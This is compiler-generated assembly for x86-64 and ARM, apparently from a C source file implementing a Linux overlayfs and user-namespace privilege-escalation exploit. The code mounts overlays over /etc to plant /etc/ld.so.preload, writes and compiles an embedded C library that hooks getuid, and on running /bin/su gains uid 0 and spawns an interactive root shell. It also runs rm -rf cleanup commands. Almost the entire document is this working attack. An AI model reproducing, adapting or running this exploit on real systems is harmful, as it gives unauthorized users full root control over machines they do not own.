	.file	"68887514.c"
	.intel_syntax noprefix
	.text
	.local	child_stack
	.comm	child_stack,1048576,32
	.section	.rodata
.LC0:
	.string	"rm -rf /tmp/ns_sploit"
.LC1:
	.string	"/tmp/ns_sploit"
.LC2:
	.string	"/tmp/ns_sploit/work"
.LC3:
	.string	"/tmp/ns_sploit/upper"
.LC4:
	.string	"/tmp/ns_sploit/o"
.LC5:
	.string	"mount #1\n"
	.align 8
.LC6:
	.string	"lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper"
.LC7:
	.string	"overlayfs"
.LC8:
	.string	"overlay"
	.align 8
.LC9:
	.string	"lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work"
	.align 8
.LC10:
	.string	"no FS_USERNS_MOUNT for overlayfs on this kernel\n"
.LC11:
	.string	".access"
.LC12:
	.string	"/tmp/ns_sploit/work/work"
.LC13:
	.string	"ns_last_pid"
.LC14:
	.string	"ld.so.preload"
.LC15:
	.string	"/"
.LC16:
	.string	"mount #2\n"
	.align 8
.LC17:
	.string	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc"
	.align 8
.LC18:
	.string	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work"
	.align 8
.LC19:
	.string	"/tmp/ns_sploit/o/ld.so.preload"
	.text
	.type	child_exec, @function
child_exec:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	lea	rdi, .LC0[rip]
	call	system@PLT
	mov	esi, 511
	lea	rdi, .LC1[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC2[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC3[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC4[rip]
	call	mkdir@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 9
	mov	esi, 1
	lea	rdi, .LC5[rip]
	call	fwrite@PLT
	lea	r8, .LC6[rip]
	mov	ecx, 3236757504
	lea	rdx, .LC7[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, .LC8[rip]
	call	mount@PLT
	test	eax, eax
	je	.L2
	lea	r8, .LC9[rip]
	mov	ecx, 3236757504
	lea	rdx, .LC8[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, .LC8[rip]
	call	mount@PLT
	test	eax, eax
	je	.L3
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 48
	mov	esi, 1
	lea	rdi, .LC10[rip]
	call	fwrite@PLT
	mov	edi, -1
	call	exit@PLT
.L3:
	lea	rax, .LC11[rip]
	mov	QWORD PTR -8[rbp], rax
	mov	esi, 511
	lea	rdi, .LC12[rip]
	call	chmod@PLT
	jmp	.L4
.L2:
	lea	rax, .LC13[rip]
	mov	QWORD PTR -8[rbp], rax
.L4:
	lea	rdi, .LC4[rip]
	call	chdir@PLT
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC14[rip]
	mov	rdi, rax
	call	rename@PLT
	lea	rdi, .LC15[rip]
	call	chdir@PLT
	lea	rdi, .LC4[rip]
	call	umount@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 9
	mov	esi, 1
	lea	rdi, .LC16[rip]
	call	fwrite@PLT
	lea	r8, .LC17[rip]
	mov	ecx, 3236757504
	lea	rdx, .LC7[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, .LC8[rip]
	call	mount@PLT
	test	eax, eax
	je	.L5
	lea	r8, .LC18[rip]
	mov	ecx, 3236757504
	lea	rdx, .LC8[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, .LC8[rip]
	call	mount@PLT
	test	eax, eax
	je	.L6
	mov	edi, -1
	call	exit@PLT
.L6:
	mov	esi, 511
	lea	rdi, .LC12[rip]
	call	chmod@PLT
.L5:
	mov	esi, 511
	lea	rdi, .LC19[rip]
	call	chmod@PLT
	lea	rdi, .LC4[rip]
	call	umount@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	child_exec, .-child_exec
	.section	.rodata
.LC20:
	.string	"spawning threads\n"
	.align 8
.LC21:
	.string	"failed to create new user namespace\n"
	.align 8
.LC22:
	.string	"failed to create new mount namespace\n"
.LC23:
	.string	"child threads done\n"
.LC24:
	.string	"/etc/ld.so.preload"
.LC25:
	.string	"exploit failed\n"
.LC26:
	.string	"/etc/ld.so.preload created\n"
.LC27:
	.string	"creating shared library\n"
.LC28:
	.string	"/tmp/ofs-lib.c"
	.align 8
.LC29:
	.ascii	"#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar pa"
	.ascii	"th[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)"
	.ascii	"(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/p"
	.string	"roc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"
	.align 8
.LC30:
	.string	"gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"
	.align 8
.LC31:
	.string	"couldn't create dynamic library\n"
.LC32:
	.string	"/tmp/ofs-lib.so\n"
	.align 8
.LC33:
	.string	"rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"
.LC34:
	.string	"su"
.LC35:
	.string	"/bin/su"
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	DWORD PTR -52[rbp], edi
	mov	QWORD PTR -64[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -32[rbp], 131089
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 17
	mov	esi, 1
	lea	rdi, .LC20[rip]
	call	fwrite@PLT
	call	fork@PLT
	mov	DWORD PTR -28[rbp], eax
	cmp	DWORD PTR -28[rbp], 0
	jne	.L8
	mov	edi, 268435456
	mov	eax, 0
	call	unshare@PLT
	test	eax, eax
	je	.L9
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 36
	mov	esi, 1
	lea	rdi, .LC21[rip]
	call	fwrite@PLT
.L9:
	call	fork@PLT
	mov	DWORD PTR -16[rbp], eax
	cmp	DWORD PTR -16[rbp], 0
	jne	.L10
	lea	rsi, child_stack[rip+1048576]
	mov	eax, DWORD PTR -32[rbp]
	mov	ecx, 0
	mov	edx, eax
	lea	rdi, child_exec[rip]
	mov	eax, 0
	call	clone@PLT
	mov	DWORD PTR -12[rbp], eax
	cmp	DWORD PTR -12[rbp], 0
	jns	.L11
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 37
	mov	esi, 1
	lea	rdi, .LC22[rip]
	call	fwrite@PLT
	mov	edi, -1
	call	exit@PLT
.L11:
	lea	rcx, -36[rbp]
	mov	eax, DWORD PTR -12[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	mov	eax, 0
	call	waitpid@PLT
.L10:
	lea	rcx, -36[rbp]
	mov	eax, DWORD PTR -16[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	mov	eax, 0
	call	waitpid@PLT
	mov	eax, 0
	jmp	.L12
.L8:
	mov	edi, 300000
	call	usleep@PLT
	mov	edi, 0
	mov	eax, 0
	call	wait@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 19
	mov	esi, 1
	lea	rdi, .LC23[rip]
	call	fwrite@PLT
	mov	esi, 1
	lea	rdi, .LC24[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -24[rbp], eax
	cmp	DWORD PTR -24[rbp], -1
	jne	.L13
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 15
	mov	esi, 1
	lea	rdi, .LC25[rip]
	call	fwrite@PLT
	mov	edi, -1
	call	exit@PLT
.L13:
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 27
	mov	esi, 1
	lea	rdi, .LC26[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 24
	mov	esi, 1
	lea	rdi, .LC27[rip]
	call	fwrite@PLT
	mov	edx, 511
	mov	esi, 65
	lea	rdi, .LC28[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -20[rbp], eax
	mov	eax, DWORD PTR -20[rbp]
	mov	edx, 418
	lea	rsi, .LC29[rip]
	mov	edi, eax
	call	write@PLT
	mov	eax, DWORD PTR -20[rbp]
	mov	edi, eax
	call	close@PLT
	lea	rdi, .LC30[rip]
	call	system@PLT
	mov	DWORD PTR -20[rbp], eax
	cmp	DWORD PTR -20[rbp], 0
	je	.L14
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 32
	mov	esi, 1
	lea	rdi, .LC31[rip]
	call	fwrite@PLT
	mov	edi, -1
	call	exit@PLT
.L14:
	mov	eax, DWORD PTR -24[rbp]
	mov	edx, 16
	lea	rsi, .LC32[rip]
	mov	edi, eax
	call	write@PLT
	mov	eax, DWORD PTR -24[rbp]
	mov	edi, eax
	call	close@PLT
	lea	rdi, .LC33[rip]
	call	system@PLT
	mov	edx, 0
	lea	rsi, .LC34[rip]
	lea	rdi, .LC35[rip]
	mov	eax, 0
	call	execl@PLT
	mov	eax, 0
.L12:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L15
	call	__stack_chk_fail@PLT
.L15:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"68887514.c"
	.text
	.local	child_stack
	.comm	child_stack,1048576,4
	.section	.rodata
	.align	2
.LC0:
	.ascii	"rm -rf /tmp/ns_sploit\000"
	.align	2
.LC1:
	.ascii	"/tmp/ns_sploit\000"
	.align	2
.LC2:
	.ascii	"/tmp/ns_sploit/work\000"
	.align	2
.LC3:
	.ascii	"/tmp/ns_sploit/upper\000"
	.align	2
.LC4:
	.ascii	"/tmp/ns_sploit/o\000"
	.align	2
.LC5:
	.ascii	"mount #1\012\000"
	.align	2
.LC6:
	.ascii	"overlayfs\000"
	.align	2
.LC7:
	.ascii	"overlay\000"
	.align	2
.LC8:
	.ascii	"lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/u"
	.ascii	"pper\000"
	.align	2
.LC9:
	.ascii	"lowerdir=/sys/kernel/security/apparmor,upperdir=/tm"
	.ascii	"p/ns_sploit/upper,workdir=/tmp/ns_sploit/work\000"
	.align	2
.LC10:
	.ascii	"no FS_USERNS_MOUNT for overlayfs on this kernel\012"
	.ascii	"\000"
	.align	2
.LC11:
	.ascii	".access\000"
	.align	2
.LC12:
	.ascii	"/tmp/ns_sploit/work/work\000"
	.align	2
.LC13:
	.ascii	"ns_last_pid\000"
	.align	2
.LC14:
	.ascii	"ld.so.preload\000"
	.align	2
.LC15:
	.ascii	"/\000"
	.align	2
.LC16:
	.ascii	"mount #2\012\000"
	.align	2
.LC17:
	.ascii	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc\000"
	.align	2
.LC18:
	.ascii	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir"
	.ascii	"=/tmp/ns_sploit/work\000"
	.align	2
.LC19:
	.ascii	"/tmp/ns_sploit/o/ld.so.preload\000"
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	child_exec, %function
child_exec:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-16]
	ldr	r0, .L7
	bl	system
	ldr	r1, .L7+4
	ldr	r0, .L7+8
	bl	mkdir
	ldr	r1, .L7+4
	ldr	r0, .L7+12
	bl	mkdir
	ldr	r1, .L7+4
	ldr	r0, .L7+16
	bl	mkdir
	ldr	r1, .L7+4
	ldr	r0, .L7+20
	bl	mkdir
	ldr	r3, .L7+24
	ldr	r3, [r3]
	mov	r2, #9
	mov	r1, #1
	ldr	r0, .L7+28
	bl	fwrite
	ldr	r3, .L7+32
	str	r3, [sp]
	ldr	r3, .L7+36
	ldr	r2, .L7+40
	ldr	r1, .L7+20
	ldr	r0, .L7+44
	bl	mount
	mov	r3, r0
	cmp	r3, #0
	beq	.L2
	ldr	r3, .L7+48
	str	r3, [sp]
	ldr	r3, .L7+36
	ldr	r2, .L7+44
	ldr	r1, .L7+20
	ldr	r0, .L7+44
	bl	mount
	mov	r3, r0
	cmp	r3, #0
	beq	.L3
	ldr	r3, .L7+24
	ldr	r3, [r3]
	mov	r2, #48
	mov	r1, #1
	ldr	r0, .L7+52
	bl	fwrite
	mvn	r0, #0
	bl	exit
.L3:
	ldr	r3, .L7+56
	str	r3, [fp, #-8]
	ldr	r1, .L7+4
	ldr	r0, .L7+60
	bl	chmod
	b	.L4
.L2:
	ldr	r3, .L7+64
	str	r3, [fp, #-8]
.L4:
	ldr	r0, .L7+20
	bl	chdir
	ldr	r1, .L7+68
	ldr	r0, [fp, #-8]
	bl	rename
	ldr	r0, .L7+72
	bl	chdir
	ldr	r0, .L7+20
	bl	umount
	ldr	r3, .L7+24
	ldr	r3, [r3]
	mov	r2, #9
	mov	r1, #1
	ldr	r0, .L7+76
	bl	fwrite
	ldr	r3, .L7+80
	str	r3, [sp]
	ldr	r3, .L7+36
	ldr	r2, .L7+40
	ldr	r1, .L7+20
	ldr	r0, .L7+44
	bl	mount
	mov	r3, r0
	cmp	r3, #0
	beq	.L5
	ldr	r3, .L7+84
	str	r3, [sp]
	ldr	r3, .L7+36
	ldr	r2, .L7+44
	ldr	r1, .L7+20
	ldr	r0, .L7+44
	bl	mount
	mov	r3, r0
	cmp	r3, #0
	beq	.L6
	mvn	r0, #0
	bl	exit
.L6:
	ldr	r1, .L7+4
	ldr	r0, .L7+60
	bl	chmod
.L5:
	ldr	r1, .L7+4
	ldr	r0, .L7+88
	bl	chmod
	ldr	r0, .L7+20
	bl	umount
	nop
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L8:
	.align	2
.L7:
	.word	.LC0
	.word	511
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	stderr
	.word	.LC5
	.word	.LC8
	.word	-1058209792
	.word	.LC6
	.word	.LC7
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.size	child_exec, .-child_exec
	.section	.rodata
	.align	2
.LC20:
	.ascii	"spawning threads\012\000"
	.align	2
.LC21:
	.ascii	"failed to create new user namespace\012\000"
	.align	2
.LC22:
	.ascii	"failed to create new mount namespace\012\000"
	.align	2
.LC23:
	.ascii	"child threads done\012\000"
	.align	2
.LC24:
	.ascii	"/etc/ld.so.preload\000"
	.align	2
.LC25:
	.ascii	"exploit failed\012\000"
	.align	2
.LC26:
	.ascii	"/etc/ld.so.preload created\012\000"
	.align	2
.LC27:
	.ascii	"creating shared library\012\000"
	.align	2
.LC28:
	.ascii	"/tmp/ofs-lib.c\000"
	.align	2
.LC29:
	.ascii	"#include <unistd.h>\012\012uid_t(*_real_getuid) (vo"
	.ascii	"id);\012char path[128];\012\012uid_t\012getuid(void"
	.ascii	")\012{\012_real_getuid = (uid_t(*)(void)) dlsym((vo"
	.ascii	"id *) -1, \"getuid\");\012readlink(\"/proc/self/exe"
	.ascii	"\", (char *) &path, 128);\012if(geteuid() == 0 && !"
	.ascii	"strcmp(path, \"/bin/su\")) {\012unlink(\"/etc/ld.so"
	.ascii	".preload\");unlink(\"/tmp/ofs-lib.so\");\012setresu"
	.ascii	"id(0, 0, 0);\012setresgid(0, 0, 0);\012execle(\"/bi"
	.ascii	"n/sh\", \"sh\", \"-i\", NULL, NULL);\012}\012    re"
	.ascii	"turn _real_getuid();\012}\012\000"
	.align	2
.LC30:
	.ascii	"gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c"
	.ascii	" -ldl -w\000"
	.align	2
.LC31:
	.ascii	"couldn't create dynamic library\012\000"
	.align	2
.LC32:
	.ascii	"/tmp/ofs-lib.so\012\000"
	.align	2
.LC33:
	.ascii	"rm -rf /tmp/ns_sploit /tmp/ofs-lib.c\000"
	.align	2
.LC34:
	.ascii	"su\000"
	.align	2
.LC35:
	.ascii	"/bin/su\000"
	.align	2
.LC36:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #40
	str	r0, [fp, #-40]
	str	r1, [fp, #-44]
	ldr	r3, .L18
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L18+4
	str	r3, [fp, #-32]
	ldr	r3, .L18+8
	ldr	r3, [r3]
	mov	r2, #17
	mov	r1, #1
	ldr	r0, .L18+12
	bl	fwrite
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-28]
	cmp	r3, #0
	bne	.L10
	mov	r0, #268435456
	bl	unshare
	mov	r3, r0
	cmp	r3, #0
	beq	.L11
	ldr	r3, .L18+8
	ldr	r3, [r3]
	mov	r2, #36
	mov	r1, #1
	ldr	r0, .L18+16
	bl	fwrite
.L11:
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-16]
	cmp	r3, #0
	bne	.L12
	ldr	r1, .L18+20
	mov	r3, #0
	ldr	r2, [fp, #-32]
	ldr	r0, .L18+24
	bl	clone
	str	r0, [fp, #-12]
	ldr	r3, [fp, #-12]
	cmp	r3, #0
	bge	.L13
	ldr	r3, .L18+8
	ldr	r3, [r3]
	mov	r2, #37
	mov	r1, #1
	ldr	r0, .L18+28
	bl	fwrite
	mvn	r0, #0
	bl	exit
.L13:
	sub	r3, fp, #36
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-12]
	bl	waitpid
.L12:
	sub	r3, fp, #36
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-16]
	bl	waitpid
	mov	r3, #0
	b	.L14
.L10:
	ldr	r0, .L18+32
	bl	usleep
	mov	r0, #0
	bl	wait
	ldr	r3, .L18+8
	ldr	r3, [r3]
	mov	r2, #19
	mov	r1, #1
	ldr	r0, .L18+36
	bl	fwrite
	mov	r1, #1
	ldr	r0, .L18+40
	bl	open
	str	r0, [fp, #-24]
	ldr	r3, [fp, #-24]
	cmn	r3, #1
	bne	.L15
	ldr	r3, .L18+8
	ldr	r3, [r3]
	mov	r2, #15
	mov	r1, #1
	ldr	r0, .L18+44
	bl	fwrite
	mvn	r0, #0
	bl	exit
.L15:
	ldr	r3, .L18+8
	ldr	r3, [r3]
	mov	r2, #27
	mov	r1, #1
	ldr	r0, .L18+48
	bl	fwrite
	ldr	r3, .L18+8
	ldr	r3, [r3]
	mov	r2, #24
	mov	r1, #1
	ldr	r0, .L18+52
	bl	fwrite
	ldr	r2, .L18+56
	mov	r1, #65
	ldr	r0, .L18+60
	bl	open
	str	r0, [fp, #-20]
	ldr	r2, .L18+64
	ldr	r1, .L18+68
	ldr	r0, [fp, #-20]
	bl	write
	ldr	r0, [fp, #-20]
	bl	close
	ldr	r0, .L18+72
	bl	system
	str	r0, [fp, #-20]
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	beq	.L16
	ldr	r3, .L18+8
	ldr	r3, [r3]
	mov	r2, #32
	mov	r1, #1
	ldr	r0, .L18+76
	bl	fwrite
	mvn	r0, #0
	bl	exit
.L16:
	mov	r2, #16
	ldr	r1, .L18+80
	ldr	r0, [fp, #-24]
	bl	write
	ldr	r0, [fp, #-24]
	bl	close
	ldr	r0, .L18+84
	bl	system
	mov	r2, #0
	ldr	r1, .L18+88
	ldr	r0, .L18+92
	bl	execl
	mov	r3, #0
.L14:
	ldr	r2, .L18
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L17
	bl	__stack_chk_fail
.L17:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L19:
	.align	2
.L18:
	.word	.LC36
	.word	131089
	.word	stderr
	.word	.LC20
	.word	.LC21
	.word	child_stack+1048576
	.word	child_exec
	.word	.LC22
	.word	300000
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.word	511
	.word	.LC28
	.word	418
	.word	.LC29
	.word	.LC30
	.word	.LC31
	.word	.LC32
	.word	.LC33
	.word	.LC34
	.word	.LC35
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
